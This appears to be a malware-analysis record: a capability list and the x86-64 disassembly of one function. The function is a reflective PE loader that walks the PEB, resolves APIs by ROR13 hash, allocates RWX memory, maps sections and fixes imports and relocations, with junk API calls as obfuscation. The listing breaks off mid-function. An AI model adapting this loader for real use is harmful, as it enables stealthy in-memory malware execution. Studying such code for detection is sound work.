Function at 0x180003908
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Identify system language via api
Parse pe header
Query environment variable
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x160
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [r11 - 0x88], xmm10
movaps xmmword [r11 - 0x98], xmm11
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm14
movaps xmmword [r11 - 0xd8], xmm15
mov rbx, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov r9d, 0x989680
cmp rax, r9
jbe 0x180003991
mov r14d, 0x29917f2
mov qword [rsp + 0x50], r14
jmp 0x1800039b9
rdtscp
lea r8, [rsp + 0x1a8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov rax, r9
div rcx
mov r14, rax
mov qword [rsp + 0x50], rax
rdtscp
lea r8, [rsp + 0x1a8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0x2284
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea eax, [r8 + 3]
mov dword [rsp + 0x1a8], eax
mov dword [rsp + 0x1b0], eax
movd xmm6, r14d
cvtdq2ps xmm6, xmm6
xor r12d, r12d
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x90], r12
mov edi, r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x70], r12
xorps xmm7, xmm7
movsd qword [rsp + 0xa8], xmm7
movsd xmm8, qword [0x180030e10]
movsd xmm10, qword [0x180030cc0]
movsd qword [rsp + 0xb0], xmm10
movaps xmm0, xmm8
call fcn.1800037c0
xorps xmm0, xmm0
call fcn.1800037c0
mov rbx, qword [rbx]
lea r15d, [r12 + 1]
mov qword [rsp + 0x40], rbx
movaps xmm0, xmm8
call fcn.1800037c0
movaps xmm0, xmm7
call fcn.1800037c0
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x180004f83
movsxd r13, dword [rbx + 0x3c]
lea rax, [r13 - 0x40]
cmp rax, 0x3bf
ja 0x180004f83
add r13, rbx
mov qword [rsp + 0x60], r13
cmp dword [r13], 0x4550
jne 0x180004f83
mov rsi, qword gs:[0x60]
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], r12
mov r13d, dword [rsp + 0x1b0]
cmp r14d, r13d
jle 0x180003afd
mov rsi, qword [rsi + 0x18]
mov qword [rsp + 0x20], rsi
mov rdi, qword [rsi + 0x20]
mov qword [rsp + 0x58], rdi
movss xmm12, dword [0x180030e08]
movss xmm8, dword [0x180030d10]
xorps xmm9, xmm9
movss xmm10, dword [0x180030f1c]
movss xmm11, dword [0x180030f08]
movss xmm14, dword [0x180030ec0]
movzx ebx, word [rsp + 0x1a0]
mov qword [rsp + 0x30], rbx
movss xmm13, dword [0x180030f00]
movss xmm15, dword [0x180030e28]
test rdi, rdi
je 0x180004351
mov eax, r14d
cdq
sub eax, edx
sar eax, 1
cmp eax, r13d
jl 0x180003b9c
mov rsi, qword [rdi + 0x50]
movzx ebx, word [rdi + 0x48]
mov qword [rsp + 0x30], rbx
mov rdi, r12
mov qword [rsp + 0x68], r12
lea rcx, [r15 + rbx]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.180008eb8
jmp 0x180003c7d
movsd xmm7, qword [0x180030d98]
mov edi, 0x53
ucomiss xmm6, xmm12
jp 0x180003bfc
jne 0x180003bfc
lea ebx, [rdi + 0x26]
call qword [sym.imp.USER32.dll_GetMessageTime]
movaps xmm0, xmm7
subsd xmm0, xmm7
movaps xmm7, xmm0
mov rax, rbx
cqo
idiv rdi
mov rdi, rax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
movd xmm0, r15d
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
cvtpd2ps xmm6, xmm1
mov rbx, r15
ucomiss xmm6, xmm12
jp 0x180003bf7
je 0x180003bb4
mov rbx, qword [rsp + 0x30]
ucomiss xmm6, dword [0x180030e70]
jp 0x180003c44
jne 0x180003c44
call qword [sym.imp.KERNEL32.dll_GetErrorMode]
movsd xmm0, qword [0x180030f60]
call fcn.180003110
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
mulss xmm1, dword [0x180030f80]
comiss xmm1, xmm8
jae 0x180003c4a
comiss xmm1, dword [0x180030ed4]
jbe 0x180003c5a
call qword [sym.imp.GDI32.dll_GdiFlush]
movaps xmm6, xmm9
jmp 0x180003c73
call qword [sym.imp.USER32.dll_GetCapture]
call qword [sym.imp.USER32.dll_GetClipboardViewer]
xorps xmm1, xmm1
cvtsi2ss xmm1, r15
jmp 0x180003c29
call qword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmm10
call fcn.180003164
movsx edx, al
movd xmm6, edx
cvtdq2ps xmm6, xmm6
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x38]
test bx, bx
je 0x180003d29
mov ecx, edi
call fcn.180004f8c
mov edi, eax
cmp byte [rsi], 0x61
jb 0x180003cb4
lea eax, [r14 + r14]
mov ecx, dword [rsp + 0x1a8]
cmp eax, ecx
cmovge ecx, r14d
movzx eax, byte [rsi]
add rdi, 0xffffffffffffffe0
add rdi, rax
mov r14d, ecx
jmp 0x180003cbf
cmp r14d, r13d
jle 0x180003cbf
movzx eax, byte [rsi]
add rdi, rax
lea eax, [r14 + 4]
cmp eax, dword [rsp + 0x1a8]
jg 0x180003d19
mov ebx, 0x63
lea edi, [rbx + 0x1a]
jmp 0x180003d04
call qword [sym.imp.USER32.dll_AnyPopup]
movsx eax, bl
movsx ecx, bl
imul ecx, eax
movsx eax, cl
lea ebx, [rax + rdi]
movsxd rcx, ebx
imul rdi, rcx
cdq
idiv ebx
cdqe
cqo
idiv rdi
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
comiss xmm8, xmm6
ja 0x180003cd6
comiss xmm6, dword [0x180030ef8]
jbe 0x180003ccc
movaps xmm6, xmm9
jmp 0x180003ccc
add rsi, r15
mov eax, 0xffff
add bx, ax
jmp 0x180003c7d
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x50], r14
cmp edi, 0x6a4abc5b
jne 0x180004229
cmp r14d, r13d
je 0x180003d98
mov rsi, qword [rsp + 0x58]
mov rsi, qword [rsi + 0x20]
mov qword [rsp + 0x20], rsi
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
add rcx, rsi
mov qword [rsp + 0xa0], rcx
mov eax, dword [rcx + 0x20]
add rax, rsi
mov qword [rsp + 0x80], rax
mov ecx, dword [rcx + 0x24]
add rcx, rsi
mov qword [rsp + 0x88], rcx
mov ebx, 3
mov qword [rsp + 0x30], rbx
jmp 0x180003e79
mov edi, 0x2a
lea ebx, [rdi + 0x42]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
sub edi, ebx
xorps xmm0, xmm0
cvtsi2ss xmm0, rbx
call fcn.180003164
movsx rbx, al
movsxd rax, edi
imul rax, rbx
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
comiss xmm0, dword [0x180030e20]
jae 0x180003da0
ucomiss xmm0, dword [0x180030e58]
jp 0x180003de4
jne 0x180003de4
call qword [sym.imp.USER32.dll_DestroyCaret]
jmp 0x180003df1
movsd xmm0, qword [0x180030d90]
call fcn.180003110
movsd xmm1, qword [0x180030d08]
mov eax, 0xe
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
divsd xmm1, xmm0
mov rax, r12
movaps xmm0, xmm1
divsd xmm0, qword [0x180030c98]
cvtsd2ss xmm0, xmm0
comiss xmm0, dword [0x180030efc]
ja 0x180003dfe
movsd xmm7, qword [0x180030d58]
call qword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm7
call fcn.180003164
movsx ecx, al
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
movaps xmm0, xmm7
subsd xmm0, xmm7
movaps xmm7, xmm0
cvtps2pd xmm1, xmm1
mulsd xmm1, xmm0
cvtpd2ps xmm6, xmm1
comiss xmm6, dword [0x180030ce8]
jae 0x180003e2d
mov rsi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x80]
movss xmm8, dword [0x180030ef0]
test bx, bx
je 0x18000421e
cmp r14d, r13d
jle 0x180003eb4
mov ecx, dword [rax]
add rcx, rsi
mov edx, r12d
mov al, byte [rcx]
ror edx, 0xd
movsx eax, al
add edx, eax
add rcx, r15
mov al, byte [rcx]
test al, al
jne 0x180003e9a
mov dword [rsp + 0x28], edx
jmp 0x180003f80
mov dil, 0x49
call qword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
movsx eax, dil
add eax, eax
movsxd rbx, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rbx
call fcn.180003164
movsx rdi, al
sub rbx, rdi
xorps xmm0, xmm0
cvtsi2ss xmm0, rbx
ucomiss xmm0, dword [0x180030f2c]
jp 0x180003eb7
jne 0x180003eb7
movaps xmm6, xmm12
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRestart]
movaps xmm0, xmm6
call fcn.180003164
movsx ecx, al
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
comiss xmm8, xmm6
ja 0x180003ef1
movsd xmm6, qword [0x180030f58]
movsd xmm7, qword [0x180030d78]
movss xmm15, dword [0x180030f0c]
call qword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
divsd xmm7, xmm6
cvttsd2si eax, xmm7
movsx eax, al
movd xmm7, eax
cvtdq2pd xmm7, xmm7
subsd xmm6, xmm7
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm6
comiss xmm15, xmm0
jae 0x180003f28
ucomiss xmm0, xmm11
movss xmm15, dword [0x180030e28]
jp 0x180003f69
jne 0x180003f69
call qword [sym.imp.USER32.dll_GetCapture]
movss xmm6, dword [0x180030cc8]
comiss xmm14, xmm6
ja 0x180003f69
mov edx, dword [rsp + 0x28]
mov rbx, qword [rsp + 0x30]
cmp edx, 0xec0e4e8e
je 0x180003f9c
cmp edx, 0x7c0dfcaa
je 0x180003f9c
cmp edx, 0x91afca54
jne 0x180004146
movss xmm7, dword [0x180030f28]
cmp r14d, r13d
jl 0x18000418b
mov rax, qword [rsp + 0x88]
movzx r13d, word [rax]
mov rax, qword [rsp + 0xa0]
mov ecx, dword [rax + 0x1c]
add rcx, rsi
mov qword [rsp + 0x98], rcx
cmp edx, 0xec0e4e8e
jne 0x180003fe8
mov eax, dword [rcx + r13*4]
add rax, rsi
mov qword [rsp + 0x78], rax
jmp 0x180004131
cmp edx, 0x7c0dfcaa
jne 0x180004017
mov eax, dword [rsp + 0x1a8]
cmp r14d, eax
cmovne eax, r14d
mov ecx, dword [rcx + r13*4]
add rcx, rsi
mov qword [rsp + 0x48], rcx
mov r14d, eax
mov qword [rsp + 0x50], r14
jmp 0x180004131
cmp edx, 0x91afca54
jne 0x180004131
mov esi, r14d
mov ebx, dword [rsp + 0x1b0]
cmp r14d, ebx
jle 0x180004127
add r14d, 4
cmp r14d, ebx
jg 0x180004168
mov ecx, 0x54
call fcn.180002bd8
cvttss2si eax, xmm0
movsx ecx, al
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
mov eax, ecx
imul eax, ecx
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
comiss xmm1, dword [0x180030f18]
ja 0x180004048
movss xmm7, dword [0x180030df0]
mov dil, 0x69
ucomiss xmm1, xmm13
jp 0x1800040e4
jne 0x1800040e4
movss xmm6, dword [0x180030ed0]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
movaps xmm1, xmm7
addss xmm1, xmm6
cvttss2si rbx, xmm1
movaps xmm0, xmm7
call fcn.180002b2c
movsx ecx, al
movd xmm7, ecx
cvtdq2ps xmm7, xmm7
mov al, bl
sub al, dil
movsx edi, al
xorps xmm6, xmm6
cvtsi2ss xmm6, rbx
movd xmm0, edi
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm7
movaps xmm1, xmm6
subss xmm1, xmm0
ucomiss xmm1, xmm13
jp 0x1800040dd
je 0x18000408f
mov ebx, dword [rsp + 0x1b0]
comiss xmm10, xmm1
jb 0x1800040f4
movss xmm6, dword [0x180030f48]
jmp 0x180004117
call qword [sym.imp.USER32.dll_GetMessageExtraInfo]
mov ecx, 0x26
call fcn.180002bd8
cvttss2si eax, xmm0
movsx ecx, al
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
subss xmm6, xmm9
add esi, r15d
cmp esi, ebx
jg 0x18000403a
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
mov eax, 0xffff
add bx, ax
mov qword [rsp + 0x30], rbx
mov r13d, dword [rsp + 0x1b0]
mov rax, qword [rsp + 0x80]
add rax, 4
mov qword [rsp + 0x80], rax
add qword [rsp + 0x88], 2
jmp 0x180003e82
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + r13*4]
mov rsi, qword [rsp + 0x20]
add rax, rsi
mov qword [rsp + 0x90], rax
mov r14, qword [rsp + 0x50]
jmp 0x18000412c
comiss xmm15, xmm6
jbe 0x1800041ae
mov ecx, 9
call fcn.180002bd8
cvttss2si eax, xmm0
movsx ecx, al
lea eax, [rcx + rcx*2]
movd xmm6, eax
cvtdq2ps xmm6, xmm6
jmp 0x1800041c6
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x62
call fcn.180002bd8
movss xmm6, dword [0x180030f78]
ucomiss xmm6, xmm7
jp 0x1800041cd
je 0x1800041f4
movss xmm6, dword [0x180030e64]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movaps xmm0, xmm6
call fcn.180002b2c
movsx ecx, al
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
ucomiss xmm6, xmm7
jp 0x1800041d5
jne 0x1800041d5
comiss xmm6, dword [0x180030e78]
jb 0x18000420d
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
movss xmm6, dword [0x180030f40]
jmp 0x180004215
movss xmm6, dword [0x180030f30]
mov edx, dword [rsp + 0x28]
jmp 0x180003fa4
movss xmm8, dword [0x180030d10]
jmp 0x180004233
mov rsi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
cmp qword [rsp + 0x78], r12
je 0x18000433f
cmp qword [rsp + 0x48], r12
je 0x18000433f
cmp qword [rsp + 0x90], r12
je 0x18000433f
cmp r14d, dword [rsp + 0x1a8]
jge 0x180004351
movss xmm7, dword [0x180030e50]
comiss xmm7, xmm6
jbe 0x18000427c
movss xmm6, dword [0x180030f7c]
jmp 0x18000428a
call qword [sym.imp.USER32.dll_CreateMenu]
movss xmm6, dword [0x180030e68]
mov dil, 0x64
mov sil, 7
jmp 0x1800042c5
call qword [sym.imp.USER32.dll_EmptyClipboard]
movsx eax, sil
movsx edi, dil
imul edi, eax
movsx ebx, dil
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
call fcn.180003110
cvttsd2si esi, xmm0
movsx eax, sil
sub ebx, eax
movd xmm6, ebx
cvtdq2ps xmm6, xmm6
ucomiss xmm6, xmm10
jp 0x180004292
jne 0x180004292
mov r8d, 0x1e
comiss xmm9, xmm6
jbe 0x1800042fc
lea edx, [r8 + 0x36]
movd xmm6, r8d
mov eax, edx
cdq
idiv r8d
movsx edx, al
mov eax, edx
sub eax, r8d
mov r8d, eax
cvtdq2ps xmm6, xmm6
comiss xmm9, xmm6
ja 0x1800042dd
comiss xmm6, xmm11
jbe 0x18000426d
mov ecx, 0x1efa
call fcn.180002bd8
movaps xmm6, xmm0
call fcn.180002b2c
movsx ecx, al
movd xmm2, ecx
cvtdq2pd xmm2, xmm2
movss xmm1, dword [0x180030f44]
subss xmm1, xmm6
cvtps2pd xmm0, xmm1
subsd xmm0, xmm2
cvtpd2ps xmm6, xmm0
jmp 0x18000426d
mov rdi, qword [rsp + 0x58]
mov rdi, qword [rdi]
mov qword [rsp + 0x58], rdi
jmp 0x180003b4d
mov ebx, r15d
mov edi, r14d
movsd xmm11, qword [0x180030cd8]
movaps xmm0, xmm11
xorps xmm7, xmm7
movsd xmm10, qword [0x180030cc0]
movsd xmm8, qword [0x180030e38]
subsd xmm0, qword [0x180030cd0]
mulsd xmm0, xmm10
addsd xmm0, xmm7
call fcn.1800037c0
add ebx, r15d
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm8, xmm0
jae 0x180004379
cmp r14d, r13d
je 0x1800043fb
mov rax, qword [rsp + 0x40]
movsxd r13, dword [rax + 0x3c]
add r13, rax
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x88], r13
mov esi, dword [r13 + 0x54]
mov qword [rsp + 0x58], rsi
mov rbx, rax
mov qword [rsp + 0x38], rax
mov edx, dword [r13 + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x90], rax
jmp 0x1800044b9
movaps xmm8, xmm9
movss xmm7, dword [0x180030e74]
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x90], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
movaps xmm0, xmm8
call fcn.180003164
movsx ecx, al
movd xmm8, ecx
cvtdq2ps xmm8, xmm8
subss xmm7, xmm8
movaps xmm6, xmm7
mulss xmm6, xmm8
ucomiss xmm6, dword [0x180030ce8]
jp 0x180004428
jne 0x180004428
mov r13, qword [rsp + 0x60]
mov qword [rsp + 0x88], r13
movss xmm7, dword [0x180030e8c]
comiss xmm6, xmm7
jbe 0x1800044b1
movaps xmm0, xmm9
call fcn.180003164
movsx ebx, al
mov ecx, ebx
call fcn.180002bd8
cvttss2si ecx, xmm0
movsx r8d, cl
mov eax, ebx
cdq
idiv r8d
neg eax
movd xmm6, eax
cvtdq2ps xmm6, xmm6
comiss xmm6, xmm7
ja 0x180004475
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x88], r13
mov rax, r12
mov rbx, qword [rsp + 0x38]
mov r13, qword [rsp + 0x58]
movss xmm15, dword [0x180030e60]
movss xmm14, dword [0x180030e7c]
test r13, r13
je 0x18000466a
sub rax, rbx
movss xmm12, dword [0x180030ee0]
movss xmm8, dword [0x180030f28]
mov esi, dword [rsp + 0x1a8]
mov r14, rax
sub r13, r15
cmp edi, esi
je 0x18000451f
movsd xmm0, qword [0x180030cb0]
call fcn.1800037c0
mov al, byte [rbx]
mov byte [r14 + rbx], al
add rbx, r15
mov qword [rsp + 0x38], rbx
jmp 0x180004657
mov ebx, 0x43
movss xmm7, dword [0x180030f18]
jmp 0x180004573
call qword [sym.imp.USER32.dll_GetActiveWindow]
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
call fcn.180002b2c
movsx ecx, al
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
movsx eax, bl
movsx ecx, bl
imul ecx, eax
movsx eax, cl
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, xmm6
cvttss2si ebx, xmm0
cdq
idiv ebx
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm6, xmm0
comiss xmm6, xmm7
ja 0x18000452e
comiss xmm6, dword [0x180030f24]
jbe 0x18000459c
call qword [sym.imp.ole32.dll_CoFreeUnusedLibraries]
mov ecx, 0x6f
call fcn.180002bd8
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
cvtpd2ps xmm6, xmm1
comiss xmm6, dword [0x180030eb8]
jb 0x1800045c0
movsd xmm0, qword [0x180030dc8]
call fcn.180003110
cvttsd2si eax, xmm0
movsx eax, al
movd xmm6, eax
cvtdq2ps xmm6, xmm6
movaps xmm7, xmm9
comiss xmm8, xmm6
jb 0x1800045fe
mov ebx, 0x35
call qword [sym.imp.ole32.dll_OleUninitialize]
movaps xmm0, xmm7
divss xmm0, xmm7
movaps xmm7, xmm0
mov ecx, ebx
call fcn.180002bd8
cvttss2si eax, xmm0
movsx ebx, al
movd xmm6, ebx
cvtdq2ps xmm6, xmm6
addss xmm6, xmm7
comiss xmm8, xmm6
jae 0x1800045cf
ucomiss xmm6, dword [0x180030ee4]
jp 0x180004609
je 0x180004635
movsd xmm0, qword [0x180030d18]
call fcn.180003110
movaps xmm6, xmm0
movaps xmm0, xmm15
call fcn.180002b2c
movsx ecx, al
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
mulsd xmm1, xmm6
cvtpd2ps xmm6, xmm1
movaps xmm1, xmm14
comiss xmm6, xmm12
jbe 0x180004652
movaps xmm0, xmm1
mulss xmm0, xmm1
movaps xmm1, xmm0
movaps xmm6, xmm0
comiss xmm0, xmm12
ja 0x18000463f
mov rbx, qword [rsp + 0x38]
test r13, r13
jne 0x1800044f8
mov rsi, qword [rsp + 0x20]
mov r14, qword [rsp + 0x50]
mov ebx, r15d
movaps xmm0, xmm11
movsd xmm8, qword [0x180030e30]
mulsd xmm0, xmm10
addsd xmm0, qword [0x180030c98]
call fcn.1800037c0
add ebx, r15d
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm8, xmm0
jae 0x18000467a
mov r13d, 0x30
movss xmm13, dword [0x180030de0]
movss xmm9, dword [0x180030edc]
movss xmm10, dword [0x180030e1c]
mov edi, dword [rsp + 0x1b0]
lea eax, [r14 + 4]
cmp eax, edi
jle 0x180004e5f
movsd xmm0, qword [0x180030e10]
call fcn.1800037c0
movaps xmm7, xmm0
xorps xmm14, xmm14
xorps xmm0, xmm0
call fcn.1800037c0
addsd xmm7, xmm0
movsd xmm15, qword [0x180030cc0]
mulsd xmm7, xmm15
divsd xmm7, qword [0x180030cf0]
mov rcx, qword [rsp + 0x60]
movzx eax, word [rcx + 0x14]
lea rbx, [rcx + 0x18]
add rbx, rax
movzx r8d, word [rcx + 6]
mov r10, qword [rsp + 0x40]
mov rax, r8
sub r8, r15
test rax, rax
je 0x18000476f
lea eax, [r14 + 4]
mov r9d, edi
cmp eax, edi
cmovg r9d, r14d
mov ecx, dword [rbx + 0xc]
add rcx, rsi
mov edx, dword [rbx + 0x14]
add rdx, r10
mov r11d, dword [rbx + 0x10]
test r11, r11
je 0x18000475e
mov al, byte [rdx]
mov byte [rcx], al
add rcx, r15
add rdx, r15
sub r11, r15
jne 0x18000474f
sub r11, r15
mov qword [rsp + 0x70], r11
add rbx, 0x28
mov r14d, r9d
jmp 0x180004722
mov edi, r15d
movaps xmm0, xmm11
mov r13d, 0x30
movsd xmm12, qword [0x180030e38]
subsd xmm0, qword [0x180030cd0]
mulsd xmm0, xmm15
addsd xmm0, xmm14
call fcn.1800037c0
mulsd xmm0, qword [0x180030cb8]
addsd xmm7, xmm0
add edi, r15d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm12, xmm0
jae 0x180004785
movsd qword [rsp + 0x50], xmm7
movss xmm12, dword [0x180030ee0]
mov eax, r14d
cdq
sub eax, edx
sar eax, 1
mov esi, dword [rsp + 0x1a8]
cmp eax, esi
cmovge esi, r14d
mov rdi, qword [rsp + 0x60]
add rdi, 0x90
mov r14d, dword [rdi]
mov r8, qword [rsp + 0x20]
add r14, r8
mov qword [rsp + 0x58], r14
mov r11, qword [rsp + 0x48]
mov qword [rsp + 0x48], r11
cmp dword [r14 + 0xc], r12d
je 0x1800049c9
cmp dword [rdi], r12d
je 0x1800049c9
mov ecx, dword [r14 + 0xc]
add rcx, r8
mov r15, qword [rsp + 0x78]
call r15
mov r9, rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x68], rax
movss dword [rsp + 0x28], xmm6
mov ebx, dword [r14 + 0x10]
mov r8, qword [rsp + 0x20]
add rbx, r8
mov r10d, dword [r14]
add r10, r8
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x98], r15
mov r11, qword [rsp + 0x48]
mov qword [rsp + 0xa0], r11
mov qword [rsp + 0x70], r10
mov qword [rsp + 0x80], rbx
mov ecx, esi
mov r15, r10
mov qword [rsp + 0x38], r10
mov eax, esi
mov rdx, qword [rbx]
test rdx, rdx
je 0x1800049af
test r10, r10
je 0x1800048ce
cmp qword [r10], r12
jge 0x1800048ce
mov esi, dword [rsp + 0x1a8]
cmp eax, esi
cmovne esi, eax
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
mov eax, dword [rcx + r9 + 0x10]
movzx edx, word [r10]
sub rdx, rax
mov ecx, dword [rcx + r9 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
mov qword [rbx], rax
jmp 0x18000499b
mov esi, dword [rsp + 0x1a8]
cmp eax, esi
cmovne esi, eax
mov dword [rsp + 0x30], esi
lea rdi, [rdx + r8]
mov qword [rsp + 0x70], rdi
lea rdx, [rdi + 2]
mov rcx, r9
call r11
mov qword [rbx], rax
mov r8, qword [rsp + 0x20]
mov r9, qword [rsp + 0x40]
mov r11, qword [rsp + 0x48]
jmp 0x18000499b
add rbx, 8
lea r10, [r15 + 8]
test r15, r15
cmove r10, r15
jmp 0x180004865
mov esi, dword [rsp + 0x1a8]
cmp ecx, esi
cmovne esi, ecx
add r14, 0x14
mov qword [rsp + 0x58], r14
jmp 0x1800047ff
mov r15d, 1
mov r14d, r15d
movaps xmm0, xmm11
movsd xmm13, qword [0x180030ca8]
movsd xmm8, qword [0x180030e30]
mulsd xmm0, xmm15
addsd xmm0, xmm14
call fcn.1800037c0
mulsd xmm0, xmm13
addsd xmm7, xmm0
add r14d, r15d
movd xmm0, r14d
cvtdq2pd xmm0, xmm0
comisd xmm8, xmm0
jae 0x1800049e8
mov r9d, dword [rsp + 0x1b0]
cmp esi, r9d
je 0x180004a42
mov r13, qword [rsp + 0x20]
mov rdx, r13
mov rax, qword [rsp + 0x60]
sub rdx, qword [rax + 0x30]
mov qword [rsp + 0x40], rdx
lea rdi, [rax + 0xb0]
jmp 0x180004b1b
mov r14d, 0x5a
jmp 0x180004a67
call qword [sym.imp.USER32.dll_AnyPopup]
add r14, r13
imul r13, r14
mov rax, r14
cqo
idiv r13
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
ucomiss xmm6, xmm12
jp 0x180004a6f
je 0x180004a4a
movsd xmm8, qword [0x180030d00]
movss xmm10, dword [0x180030f04]
comiss xmm6, xmm10
jbe 0x180004acf
movsd xmm9, qword [0x180030d48]
call qword [sym.imp.USER32.dll_InSendMessage]
movaps xmm0, xmm8
subsd xmm0, xmm9
cvttsd2si eax, xmm0
movaps xmm1, xmm8
addsd xmm1, xmm8
movaps xmm8, xmm1
movd xmm9, eax
cvtdq2pd xmm9, xmm9
movaps xmm0, xmm1
addsd xmm0, xmm9
xorps xmm6, xmm6
cvtsd2ss xmm6, xmm0
comiss xmm6, xmm10
ja 0x180004a90
ucomiss xmm6, xmm12
jp 0x180004adf
jne 0x180004adf
movss xmm6, dword [0x180030f84]
mov r14d, 0x38
movss xmm8, dword [0x180030ee8]
ucomiss xmm6, xmm8
jp 0x180004af6
je 0x180004b09
call qword [sym.imp.USER32.dll_IsProcessDPIAware]
add r14, r14
xorps xmm6, xmm6
cvtsi2ss xmm6, r14
jmp 0x180004aee
mov r9d, dword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x40]
mov r13, qword [rsp + 0x20]
cmp dword [rdi + 4], r12d
je 0x180004d09
mov r14d, dword [rdi]
add r14, r13
mov eax, dword [r14 + 4]
test eax, eax
je 0x180004d09
mov r10d, 0xfff
movss xmm10, dword [0x180030ec8]
cmp esi, r9d
jle 0x180004b65
mov ebx, dword [r14]
add rbx, r13
mov edi, eax
sub rdi, 8
shr rdi, 1
lea r8, [r14 + 8]
mov qword [rsp + 0x70], r8
jmp 0x180004b6a
mov r8, qword [rsp + 0x70]
test rdi, rdi
je 0x180004be1
mov r9d, 2
lea r13d, [r9 + 1]
sub rdi, r15
movzx ecx, word [r8]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x180004b96
and rcx, r10
add qword [rcx + rbx], rdx
jmp 0x180004bc7
cmp ax, r13w
jne 0x180004ba4
and rcx, r10
add dword [rcx + rbx], edx
jmp 0x180004bc7
cmp ax, r15w
jne 0x180004bba
and rcx, r10
mov rax, rdx
shr rax, 0x10
add word [rcx + rbx], ax
jmp 0x180004bc7
cmp ax, r9w
jne 0x180004bc7
and rcx, r10
add word [rcx + rbx], dx
add r8, r9
test rdi, rdi
jne 0x180004b79
mov qword [rsp + 0x70], r8
mov r13, qword [rsp + 0x20]
mov r9d, dword [rsp + 0x1b0]
sub rdi, r15
mov dword [rsp + 0x1a8], esi
cmp esi, r9d
jle 0x180004cf8
lea eax, [rsi + rsi]
cmp eax, r9d
jge 0x180004ce6
movss xmm9, dword [0x180030ea0]
mov r13b, 0x53
mov r15d, 0x4a
comiss xmm6, xmm10
jbe 0x180004c61
